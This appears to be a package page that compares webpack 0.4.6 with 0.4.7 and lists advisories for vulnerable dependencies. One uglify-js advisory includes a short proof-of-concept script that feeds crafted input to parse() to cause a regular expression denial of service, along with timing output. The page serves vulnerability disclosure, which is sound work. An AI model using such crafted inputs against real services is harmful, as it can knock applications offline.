Webpack version 0.4.7 arrived shortly after version 0.4.6, offering developers the same core functionality of packing CommonJs modules for browser deployment. Both versions empower developers to split codebases into smaller, on-demand bundles, enhancing initial load times and overall user experience. They also share identical support for various file types right out of the box, including JavaScript, JSON, Jade, CoffeeScript, and CSS, and they both can extend this support through custom loaders.
The dependencies remain consistent between the two releases, with both relying on specific versions of Esprima, sprintf, optimist, and uglify-js, alongside loaders for CSS, raw files, values, generic files, Jade templates, JSON data, LESS stylesheets, inline styles, bundles, CoffeeScript, and scripts. Similarly, the development dependency on Vows for testing remains unchanged. Both versions are licensed under the MIT license and authored by Tobias Koppers.
The most notable difference lies in their release dates and potentially minor bug fixes internally. Version 0.4.7 emerged just a day after 0.4.6, from May 20, 2012, to May 21, 2012, suggesting a rapid response to address immediate issues or enhancements identified shortly after the initial release. Developers considering these older versions should examine the specific changelogs if available to understand the precise nature of the updates between these closely released versions.
All the vulnerabilities related to the version 0.4.7 of the package
Incorrect Handling of Non-Boolean Comparisons During Minification in uglify-js
Versions of uglify-js
prior to 2.4.24 are affected by a vulnerability which may cause crafted JavaScript to have altered functionality after minification.
Upgrade UglifyJS to version >= 2.4.24.
Regular Expression Denial of Service in uglify-js
Versions of uglify-js
prior to 2.6.0 are affected by a regular expression denial of service vulnerability when malicious inputs are passed into the parse()
method.
var u = require('uglify-js');
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
u.parse("var a = " + genstr(process.argv[2], "1") + ".1ee7;");
$ time node test.js 10000
real 0m1.091s
user 0m1.047s
sys 0m0.039s
$ time node test.js 80000
real 0m6.486s
user 0m6.229s
sys 0m0.094s
Update to version 2.6.0 or later.
Regular Expression Denial of Service in clean-css
Version of clean-css
prior to 4.1.11 are vulnerable to Regular Expression Denial of Service (ReDoS). Untrusted input may cause catastrophic backtracking while matching regular expressions. This can cause the application to be unresponsive leading to Denial of Service.
Upgrade to version 4.1.11 or higher.
Sandbox Bypass Leading to Arbitrary Code Execution in constantinople
Versions of constantinople
prior to 3.1.1 are vulnerable to a sandbox bypass which can lead to arbitrary code execution.
Update to version 3.1.1 or later.